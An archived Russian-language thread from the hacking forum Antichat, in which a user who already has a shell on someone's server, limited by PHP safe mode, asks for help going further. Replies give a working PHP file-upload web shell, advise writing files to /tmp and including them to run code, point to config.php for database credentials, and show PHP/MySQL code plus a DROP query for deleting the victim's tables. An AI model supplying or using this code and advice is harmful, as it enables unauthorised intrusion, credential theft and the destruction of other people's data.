Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
11.01.2007, 23:36
|
|
Новичок
Регистрация: 21.11.2006
Сообщений: 10
Провел на форуме:
42244
Репутация:
2
|
|
Помощь с PHP Кодом
Продолжение истории с шеллом:
http://forum.antichat.ru/thread31056.html
Что бы не оффтопить в той теме - открываю еще одну.
Я потестил - там файлы не заливаются, скорей всего потому что включен safe mode - on.
Т.е. все что я могу - это выполнять код php.
Посоветуйте что можно сделать в таких условиях.
|
|
|
11.01.2007, 23:42
|
|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869
Репутация:
3033
|
|
т.е чтобы не оффтопить в одной теме, ты решил оффтопить в двух. Оригинально
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
|
|
|
|
12.01.2007, 00:16
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091
Репутация:
1686
|
|
а написать код на php которые записывает файл и таким образом его залить на серв нельзя да =)
|
|
|
|
12.01.2007, 00:19
|
|
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524
Репутация:
715
|
|
Вот код:
Код:
<?php
set_time_limit(0);
echo <<<HTML
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<center><b><font color=red> Загругзка файла на сервер </font></b><center> <br>
<tr>
<td><b>File:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Path:</b></td>
<td><input size="48" name="path" type="text"><input type="submit" value="OK"></td><br>
HTML;
if (isset($_POST['path'])){
$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "OK $uploadfile\n";
echo "Name:" .$_FILES['file']['name']. "\n";
echo "Ves:" .$_FILES['file']['size']. "\n";
} else {
print "Error:\n";
print_r($_FILES);
}
}
?>
|
|
|
|
12.01.2007, 01:12
|
|
Познающий
Регистрация: 09.10.2006
Сообщений: 92
Провел на форуме:
347686
Репутация:
87
|
|
->Я потестил - там файлы не заливаются, скорей всего потому что включен safe mode - on.
cd /tmp
Туда и заливай.
|
|
|
|
12.01.2007, 01:20
|
|
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524
Репутация:
715
|
|
потом include("/tmp/file.php");
|
|
|
|
12.01.2007, 13:46
|
|
Новичок
Регистрация: 21.11.2006
Сообщений: 10
Провел на форуме:
42244
Репутация:
2
|
|
Ребята спасибо за ответы, буду разгребать.
Еще, у меня есть данные от базы данных, а так как шелл находится на локалхосте - то я могу без проблем к нему подключится....
Можно ли средствами php, подключисвшись к базе - стереть ее допустим?
|
|
|
|
12.01.2007, 17:21
|
|
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747
Репутация:
5170
|
|
Можно, необходимо знать логин и пароль для подключения. Обычно подключения из вне запрещены.
Код:
$host = "localhost"; // место расположения MySql
$db_name = "grol"; // имя базы
$db_user = "grol"; // пользователь базы
$db_password = "admin"; // пароль пользователя
$table_online = "online"; // имя таблицы
// соединяемся с MySQL и выбираем нужную базу
mysql_connect($host,$db_user,$db_password) or die(mysql_error());
mysql_select_db($db_name) or die(mysql_error())
//http://phpfaq.ru/mysql
|
|
|
|
12.01.2007, 17:57
|
|
Постоянный
Регистрация: 17.09.2005
Сообщений: 375
Провел на форуме:
993362
Репутация:
175
|
|
логин и пароль соответственно ищи в файлах типа config.php движка который ее использует.
|
|
|
|
12.01.2007, 18:16
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357
Репутация:
3742
|
|
ettee прав ) соединяешься с бд, а потом с помощью
mysql_query("ЗАПРОС"); делаешь в бд что хочешь )
например удалить таблицу
mysql_query("DROP название таблицы");
и тд
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
